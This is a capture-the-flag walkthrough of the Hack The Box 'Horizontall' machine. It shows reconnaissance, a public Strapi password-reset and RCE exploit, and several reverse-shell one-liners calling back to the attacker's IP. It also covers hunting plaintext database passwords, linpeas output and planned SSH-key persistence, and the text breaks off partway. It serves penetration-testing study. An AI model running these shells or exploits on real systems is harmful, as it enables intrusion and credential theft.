HTB Horizontall Walkthrough

Another Hack The Box walkthrough, but this time Andy From Italy explains how we can exploit the Horizontall machine with Laravel and remote code execution!

HTB Horizontall Walkthrough
This delightful image was created by Nikita Kaun who makes splendid posters and pop film art.

Welcome back to this simple and funny BOX. In this article, I will give you a walkthrough of the Horizontall machine from the Hack The Box platform. Let's go start.

Run the nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-04 11:42 CEST
Nmap scan report for 10.10.11.105
Host is up (0.059s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.46 seconds


Notice the two usual and classic open ports: ssh on port 22 and http on port 80. I immediately put the domain horizontal.htb in my /etc/hosts file. There seems to be no working links on the portal and my wappalyzer does not identify anything particularly tempting.

Let's move on immediately to a session with the dirb, which will continue to not bring to light anything interesting.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ dirb http://horizontall.htb      

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep  4 11:50:19 2021
URL_BASE: http://horizontall.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://horizontall.htb/ ----
==> DIRECTORY: http://horizontall.htb/css/                                                                        
+ http://horizontall.htb/favicon.ico (CODE:200|SIZE:4286)                                                         
==> DIRECTORY: http://horizontall.htb/img/                                                                        
+ http://horizontall.htb/index.html (CODE:200|SIZE:901)                                                           
==> DIRECTORY: http://horizontall.htb/js/                                                                         
                                                                                                                  
---- Entering directory: http://horizontall.htb/css/ ----
                                                                                                                  
---- Entering directory: http://horizontall.htb/img/ ----
                                                                                                                  
---- Entering directory: http://horizontall.htb/js/ ----
                                                                                                                  
-----------------
END_TIME: Sat Sep  4 12:05:22 2021
DOWNLOADED: 18448 - FOUND: 2

After some reflection, I go on to investigate any subdomains. It is now time to activate dnsmasq, but first you need to configure it.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ grep -v '#' /etc/dnsmasq.conf | grep .
address=/horizontall.htb/10.10.11.105
listen-address=::1,127.0.0.1,10.10.15.67

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ cat /etc/resolv.conf              
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1
nameserver 127.0.0.1

Start the service...

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ sudo systemctl restart dnsmasq.service                                                                     4 ⨯
                                                                                                                   
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ sudo systemctl status dnsmasq.service
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Thu 2021-09-09 22:34:23 CEST; 16s ago
    Process: 2369 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 2377 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 2386 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 2385 (dnsmasq)
      Tasks: 1 (limit: 4543)
     Memory: 1.4M
        CPU: 52ms
     CGroup: /system.slice/dnsmasq.service
             └─2385 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-ol>

Sep 09 22:34:23 kali-muletto systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Sep 09 22:34:23 kali-muletto dnsmasq[2385]: started, version 2.85 cachesize 150
Sep 09 22:34:23 kali-muletto dnsmasq[2385]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCP>
Sep 09 22:34:23 kali-muletto dnsmasq[2385]: reading /etc/resolv.conf
Sep 09 22:34:23 kali-muletto dnsmasq[2385]: ignoring nameserver 127.0.0.1 - local interface
Sep 09 22:34:23 kali-muletto dnsmasq[2385]: read /etc/hosts - 6 addresses
Sep 09 22:34:23 kali-muletto systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.

...and proceed with wfuzz.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.105 - Horizontall (lin)]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.horizontall.htb --hc 301
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.horizontall.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                           
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                             
000001176:   200        1 L      43 W       901 Ch      "WWW"                                             

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 6: Could not resolve host: m..horizontall.htb
Total time: 30.33772
Processed Requests: 2693
Filtered Requests: 2691
Requests/sec.: 88.76736

During this activity, the wfuzz (probably the time has come to find something more adequate and efficient) got stuck on some names that generated an invalid http address. For example, "m." identified all the domain names that end with a dot, so I had to identify and delete them. It was a long activity, but it paid off in the end.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/subdom]
└─$ sed '/\.$/d' subdomains-top1mil-5000.txt > subdomais.txt

There seems to be nothing there. So, I tried to broaden the search with a larger subdomain name file hoping something will show up.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/subdom]
└─$ wfuzz -c -w subdomais2.txt -u http://FUZZ.horizontall.htb --hc 301
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.horizontall.htb/
Total requests: 114501

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                           
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                             
000001176:   200        1 L      43 W       901 Ch      "WWW"                                             
000047131:   200        19 L     33 W       413 Ch      "api-prod"                                        

Total time: 0
Processed Requests: 76949
Filtered Requests: 76946
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 28: Connection timed out after 90000 milliseconds


Perfect! I found something. Before proceeding, I restored the /etc/resolv.conf file and added the api-prod.horizontall.htb domain to the /etc/hosts file. Unfortunately, at the new address (http://api-prod.horizontall.htb/) there is only a welcome message. So, another dirb session is needed, but on this new domain.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/subdom]
└─$ dirb http://api-prod.horizontall.htb

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Sep  9 23:36:28 2021
URL_BASE: http://api-prod.horizontall.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://api-prod.horizontall.htb/ ----
+ http://api-prod.horizontall.htb/admin (CODE:200|SIZE:854)                                                       
+ http://api-prod.horizontall.htb/Admin (CODE:200|SIZE:854)                                                       
+ http://api-prod.horizontall.htb/ADMIN (CODE:200|SIZE:854)                                                       
+ http://api-prod.horizontall.htb/favicon.ico (CODE:200|SIZE:1150)                                                
+ http://api-prod.horizontall.htb/index.html (CODE:200|SIZE:413)                                                  
+ http://api-prod.horizontall.htb/reviews (CODE:200|SIZE:507)                                                     
+ http://api-prod.horizontall.htb/robots.txt (CODE:200|SIZE:121)                                                  
+ http://api-prod.horizontall.htb/users (CODE:403|SIZE:60)                                                        
                                                                                                                  
-----------------
END_TIME: Thu Sep  9 23:40:12 2021
DOWNLOADED: 4612 - FOUND: 8

This time, the search is fruitful, and I am very surprised to have discovered the installed service after I navigated the admin route.

Just in this last period, I have had the opportunity (and at this point, the luck) to with this API management system called Strapi. I didn't approach it from the point of view of cybersecurity, but just used it to generate APIs quickly and easily. Having this opportunity to tackle these new aspects makes me partially intrigued, as I learn that the version I am using for the project I am involved in may also be subject to attacks. I eventually learned that the url that responds to routing /users is not accessible due to permissions (404 Forbidden) while routing on /reviews is an API that responds with three records. (I don't know if they were entered by another user, but from the information contained in the records, I would say that these are not the object of our discovery.)

[
   {
      "id":1,
      "name":"wail",
      "description":"This is good service",
      "stars":4,
      "created_at":"2021-05-29T13:23:38.000Z",
      "updated_at":"2021-05-29T13:23:38.000Z"
   },
   {
      "id":2,
      "name":"doe",
      "description":"i'm satisfied with the product",
      "stars":5,
      "created_at":"2021-05-29T13:24:17.000Z",
      "updated_at":"2021-05-29T13:24:17.000Z"
   },
   {
      "id":3,
      "name":"john",
      "description":"create service with minimum price i hop i can buy more in the futur",
      "stars":5,
      "created_at":"2021-05-29T13:25:26.000Z",
      "updated_at":"2021-05-29T13:25:26.000Z"
   }
]

We immediately retrieved the version of Strapi installed on this server. Calling the url http://api-prod.horizontall.htb/admin/init should open.

{"data":{"uuid":"a55da3bd-9693-4a08-9279-f9df57fd1817","currentEnvironment":"development","autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}

I immediately looked for something on exploit-db.com and something came out.

Let's download the exploit and try it immediately.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/strapi]
└─$ python3 50239.py http://api-prod.horizontall.htb                                                           1 ⨯
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMxMjI1MDQ1LCJleHAiOjE2MzM4MTcwNDV9.kRChg3uTEdV7re3hgWUU_xsxchF1OgtENZiHp9UJ6L0


$>

Wow, it has never been faster. The administrator's credentials have been overwritten, so I also have access to the administration panel. But what interests me most is, the ability to execute commands on the box with the user of the strapi account that launched the web. I spent some time figuring out which reverse shell is right to launch, but in the end, I managed to identify it and get a more comfortable shell.

$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> ls
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> nc 10.10.15.67 4444 -e /bin/bash
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> nc 10.10.15.67 4444 -e /bin/sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> sh -i >& /dev/udp/10.10.15.67/4444 0>&1
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.67 4444 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

And I'm in.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/subdom]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.15.67] from horizontall.htb [10.10.11.105] 50704
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi

The greatest luck is the fact that even the user strapi has access to the home of the user who owns the flag.

$ ls -la /home
total 12
drwxr-xr-x  3 root      root      4096 May 25 11:43 .
drwxr-xr-x 24 root      root      4096 Aug 23 11:29 ..
drwxr-xr-x  8 developer developer 4096 Aug  2 12:07 developer
$ ls -la /home/developer
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25 11:43 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1 12:53 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1 12:47 .bashrc
drwx------  3 developer developer  4096 May 26 12:00 .cache
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------  5 developer developer  4096 Jun  1 11:54 .config
drwx------  3 developer developer  4096 May 25 11:45 .gnupg
drwxrwx---  3 developer developer  4096 May 25 19:44 .local
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4 11:21 .ssh
-r--r--r--  1 developer developer    33 Sep  9 21:35 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null
$ cat /home/developer/user.txt
0******************************8

And now that we've got the first flag, let's look at how to scale the privileges of this user to get the root flag as well. Let's start with the first standard commands. There may be something out of place that can be useful to us, but it seems that we need a tty shell first, so we will spawn it and check if we can run something as root without the need for a password.

$ sudo -l
sudo: no tty present and no askpass program specified
$ python --version
Python 2.7.17
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ sudo -l
sudo -l
[sudo] password for strapi: 

It seems like we can't. I realized that I am in the portal folder. So, I looked for passwords and users in the files contained in these directories, and something interesting came out.

$ grep -irl 'passw' ./* | grep -v 'node_modules'
grep -irl 'passw' ./* | grep -v 'node_modules'
./build/main.da91597e.chunk.js
./config/environments/production/database.json
./config/environments/development/database.json
./config/environments/staging/database.json
./package-lock.json
$ cat ./config/environments/production/database.json
cat ./config/environments/production/database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "host": "${process.env.DATABASE_HOST || '127.0.0.1'}",
        "port": "${process.env.DATABASE_PORT || 27017}",
        "srv": "${process.env.DATABASE_SRV || false}",
        "database": "${process.env.DATABASE_NAME || 'strapi'}",
        "username": "${process.env.DATABASE_USERNAME || ''}",
        "password": "${process.env.DATABASE_PASSWORD || ''}",
        "ssl": "${process.env.DATABASE_SSL || false}"
      },
      "options": {
        "ssl": "${process.env.DATABASE_SSL || false}",
        "authenticationDatabase": "${process.env.DATABASE_AUTHENTICATION_DATABASE || ''}"
      }
    }
  }
}
$ printenv DATABASE_PASSWORD
printenv DATABASE_PASSWORD
$ echo $DATABASE_PASSWORD
echo $DATABASE_PASSWORD

$ cat ./config/environments/development/database.json
cat ./config/environments/development/database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}
$ cat ./config/environments/staging/database.json
cat ./config/environments/staging/database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "host": "${process.env.DATABASE_HOST || '127.0.0.1'}",
        "port": "${process.env.DATABASE_PORT || 27017}",
        "srv": "${process.env.DATABASE_SRV || false}",
        "database": "${process.env.DATABASE_NAME || 'strapi'}",
        "username": "${process.env.DATABASE_USERNAME || ''}",
        "password": "${process.env.DATABASE_PASSWORD || ''}",
        "ssl": "${process.env.DATABASE_SSL || false}"
      },
      "options": {
        "ssl": "${process.env.DATABASE_SSL || false}",
        "authenticationDatabase": "${process.env.DATABASE_AUTHENTICATION_DATABASE || ''}"
      }
    }
  }
}

Having a password for the developer user (the same one who has the user flag) comforts me, but after trying that password in different scenarios, I realized that I can't use it anywhere and that maybe it's a fake.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh developer@10.10.11.105  
The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established.
ECDSA key fingerprint is SHA256:rlqcbRwBVk92jqxFV79Tws7plMRzIgEWDMc862X9ViQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.105' (ECDSA) to the list of known hosts.
developer@10.10.11.105's password: 
Permission denied, please try again.
developer@10.10.11.105's password: 
Permission denied, please try again.
developer@10.10.11.105's password: 
developer@10.10.11.105: Permission denied (publickey,password).
$ su developer
su developer
Password: #J!:F9Zt2u

su: Authentication failure

I can't even access the developer user's .ssh folder, other road is closed.

$ ls -la /home/developer/.ssh
ls -la /home/developer/.ssh
ls: cannot open directory '/home/developer/.ssh': Permission denied

Nothing in particular on the trial front either.

ps -aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
strapi     1811  0.0  0.3  76648  7352 ?        Ss   21:35   0:00 /lib/systemd/s
strapi     1846  0.0  2.1 615664 43572 ?        Ssl  21:35   0:02 PM2 v4.5.6: Go
strapi     1857  0.3  4.0 917484 81400 ?        Ssl  21:35   0:13 node /usr/bin/
strapi     2222  0.0  1.9 804924 39648 ?        Sl   21:40   0:00 npm
strapi     2240  0.0  0.0   4640   836 ?        S    21:40   0:00 sh -c strapi "
strapi     2241  0.0  0.0   4640   100 ?        S    21:40   0:00 sh -c strapi "
strapi     2243  0.0  0.1  11604  3176 ?        S    21:40   0:00 bash
strapi     2248  0.0  0.2  21380  5004 ?        S    21:40   0:00 bash -i
strapi     2272  0.0  0.1  20964  2584 ?        S    21:40   0:00 script /dev/nu
strapi     2273  0.0  0.0   4640   828 pts/0    Ss   21:40   0:00 sh -c bash
strapi     2274  0.0  0.2  21496  5272 pts/0    S    21:40   0:00 bash
strapi     5645  0.0  2.0 805132 40920 ?        Sl   22:15   0:00 npm
strapi     5663  0.0  0.0   4640   788 ?        S    22:15   0:00 sh -c strapi "
strapi     5664  0.0  0.0   4640   104 ?        S    22:15   0:00 sh -c strapi "
strapi     5667  0.0  0.0   6328   788 ?        S    22:15   0:00 cat /tmp/f
strapi     5668  0.0  0.0   4640  1744 ?        S    22:15   0:00 /bin/sh -i
strapi     5669  0.0  0.1  15724  2260 ?        R    22:15   0:00 nc 10.10.15.67
strapi     5797  0.0  0.3  35040  7736 ?        R    22:19   0:00 python -c impo
strapi     5798  0.0  0.0   4640  1776 pts/1    Ss   22:19   0:00 /bin/sh
strapi     6187  1.1  0.6 712336 12372 pts/0    Sl+  22:30   0:00 ./chisel clien
strapi     6209  0.0  0.1  38384  3632 pts/1    R+   22:31   0:00 ps -aux

But in the end, I stumbled upon the open ports of the BOX, which are much more than the ports exposed to the outside.

$ netstat -tulpn | grep LISTEN
netstat -tulpn | grep LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1857/node /usr/bin/ 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

After investigating the services that run on those ports, I discovered that on the local 8000, a Laravel portal runs.

$ curl http://127.0.0.1:8000
curl http://127.0.0.1:8000
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Laravel</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css2?family=Nunito:wght@400;600;700&display=swap" rel="stylesheet">

        <!-- Styles -->
        <style>
[...]
        </style>

        <style>
            body {
                font-family: 'Nunito';
            }
        </style>
    </head>
    <body class="antialiased">
        <div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0">
            
            <div class="max-w-6xl mx-auto sm:px-6 lg:px-8">
                <div class="flex justify-center pt-8 sm:justify-start sm:pt-0">
                    <svg viewBox="0 0 651 192" fill="none" xmlns="http://www.w3.org/2000/svg" class="h-16 w-auto text-gray-700 sm:h-20">
[...]
                    </svg>
                </div>
[...]
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel has wonderful, thorough documentation covering every aspect of the framework. Whether you are new to the framework or have previous experience with Laravel, we recommend reading all of the documentation from beginning to end.
                                </div>
                            </div>
                        </div>
[...]
    </body>
</html>

Not knowing how to take advantage of Laravel at the moment, I still lean towards a scan with linpeas hoping it can find more than I already founded. (As always, download it on your machine, activate a php web server and download it from the BOX). Here are some interesting points I found.

[...]
╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)                                                                        
id_dsa* Not Found                                                                                                  
                                                                                                                   
-rw-rw-rw- 1 strapi strapi 563 Aug 28 20:40 /opt/strapi/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDb/NZ67yGWmRyoKQvAQkrYLFl2BrxV0I+ZGM+osrhzU5huAwsDBOSEtA/zrsSU/ILeZjpzB715T4U
tjZK8yliIaYsEQgeZ1xWeKzUkZ+m0oozsyNu8fNmJoLuDtQUibYpAXIBOW1uqVTW++4dCpbukf8phTbjOHbD9ciAdr+3pdmCG6v7+BdCncLTouKu9h9
HVa1jcsOM1LzfkfHWzUCmiW16i60mhOYgL5hwXWWp6E2P2aD43Y5APdk76W2O40BFc7Lh7Sn8ehsTo7Edc7KkXIHoMyq3dusPv2xRA2Q9iWh77UWB6d
WQGihD8ncdeg8r9zM9ic2Zflr8H+D2/KFIpp4K3Tf9rYKv+YieRGGH+rYOgF6G1HZYcsmhErmupIRG0EN3T5nc0/1Ute1BNNQJN9l6Al0X0yK2yTfxs
RqpSiZ4sWv/8uNylHzQ8fYFy/aesihRbuH7qQWs3J+FPgGdnTy+rL7e0pr9mxfiP6/GHpjxQsyXKbH6+/Sw+pyLD23E= kali@kali

known_hosts Not Found
                                                                                                                   
authorized_hosts Not Found
                                                                                                                   
-rw-r--r-- 1 strapi strapi 562 Sep 11 04:32 /opt/strapi/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR/jBwYrUrhY2Hgi8coeX8+nLTsqhlRK2XoAAAqX9sQzoKYk39Svhp5WZXhLRdNmfNPQM7n3umLy6
L7dx8v/dkee+BWa7iHf4VLQabPkLCaW2WDLgagbXVqodXB3J1swlyNKv2TSHk4Z9bRgMLIa0WvQ+6vUiP5pXUTWk2SzYvVrWCkpCYzxopUe2E+IQknc
98O4Lv51+7v6pj/VkIkjRXl5hnmzZ8aH44OZp3Qri25e2/BRLNYgNZQHsVZHuoU8esWNR3d+0B0qxWlci27KvpIq3Cz9OwqyCnYF+AvSGt6UjZ94pnH
YC7fl4Bht8gmS4iGLWTwlCeyzjthaoHWQbg3L8ZErKrQMWxha5IC1BE7ewcGsh9u0JSnJtVzGDMnkgiY0OlaDxXU8fBQS3QEAHIPc5QNTW8BaaCBcwk
mUCzsharwpX7JKUD8g8Ot600FvsxB/GAhy5YFhA28sszNJIYgYk4ma3sHHtSh+lfBQ+JO+q26UxyuzdzkMaleYEZy68= kali@kali
[...]
╔══════════╣ Analyzing Interesting logs Files (limit 70)
-rw-r----- 1 www-data adm 152489377 Sep 11 09:02 /var/log/nginx/access.log                                         

-rw-r----- 1 www-data adm 11619 Sep 11 09:00 /var/log/nginx/error.log
[...]
lrwxrwxrwx 1 root root 20 May 25 20:31 /etc/alternatives/my.cnf -> /etc/mysql/mysql.cnf
lrwxrwxrwx 1 root root 24 May 25 20:30 /etc/mysql/my.cnf -> /etc/alternatives/my.cnf
-rw-r--r-- 1 root root 81 Aug  3 21:16 /var/lib/dpkg/alternatives/my.cnf
[...]
-rw-r--r-- 1 root root 71429 Oct  7  2020 /etc/php/7.2/cli/php.ini
-rw-r--r-- 1 root root 73002 May  3 11:26 /etc/php/7.4/apache2/php.ini
-rw-r--r-- 1 root root 72600 May  3 11:26 /etc/php/7.4/cli/php.ini
[...]
╔══════════╣ SUID - Check easy privesc, exploits and write perms                                                   
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                        
-rwsr-xr-x 1 root root 146K Jan 19  2021 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable              
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-sr-x 1 daemon daemon 51K Feb 20  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 59K Mar 22  2019 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SP
ARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                          
-rwsr-xr-x 1 root root 40K Mar 22  2019 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 22K Mar 27  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE
-2011-1485)                                                                                                        
-rwsr-xr-x 1 root root 44K Mar 22  2019 /usr/bin/chsh (Unknown SUID binary)
[...]
Among the first files, some keys and authorization keys for ssh connections appear. Taking a closer look at it, they don't seem to be from the machine, but rather from other users who are trying to catch flags like me. At the moment, I cannot understand the purpose, but we will see later how they will become.

I analyzed all these points, but found nothing, so I decided to go back to the Laravel portal. Let's try to understand what version of Laravel is available on this server.

$ curl http://127.0.0.1:8000 | grep -i 'laravel v'
curl http://127.0.0.1:8000 | grep -i 'laravel v'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17473    0 17473    0     0  1218k      0 --:--:-- --:--:-- --:--:-- 1218k
                            Laravel v8 (PHP v7.4.18)


Great! After I searched "Laravel 8 exploit" many interesting links came out. So let's focus on the first ones and try exploiting them.

Laravel 8.4.2 Remote Code Execution ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers

I downloaded the exploit script directly on the BOX. Passing through my machine, the BOX cannot access the internet, so I must do the following: download the exploit first on the local machine, activate a local web server with php, and download the exploit again this time on the BOX.

It turns out that the phpggc component is not installed on the BOX, and it is not possible to install it. So it seems that I will have to operate it from my machine, which means I will need a local forwarding on the laravel portal.

And here is the explanation of the ssh key files that I found earlier through the linpeas scan. To clarify, I will exploit those files without going to recreate them from scratch (it's useless since I would reach the same result), but I will try to explain it to you. The authorized_keys file placed in the .ssh folder of the strapi user's home contains public keys, which allows the owner of the relative private key to access the BOX in ssh. So just recreate these files by inserting your public key. The home of the user strapi can be reached via the "cd" command without parameters. Your public and private key pair can be generated via the "ssh-keygen" command.

I already have a key for my user so I'll use it.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/laravel]
└─$ cat ~/.ssh/id_rsa.pub
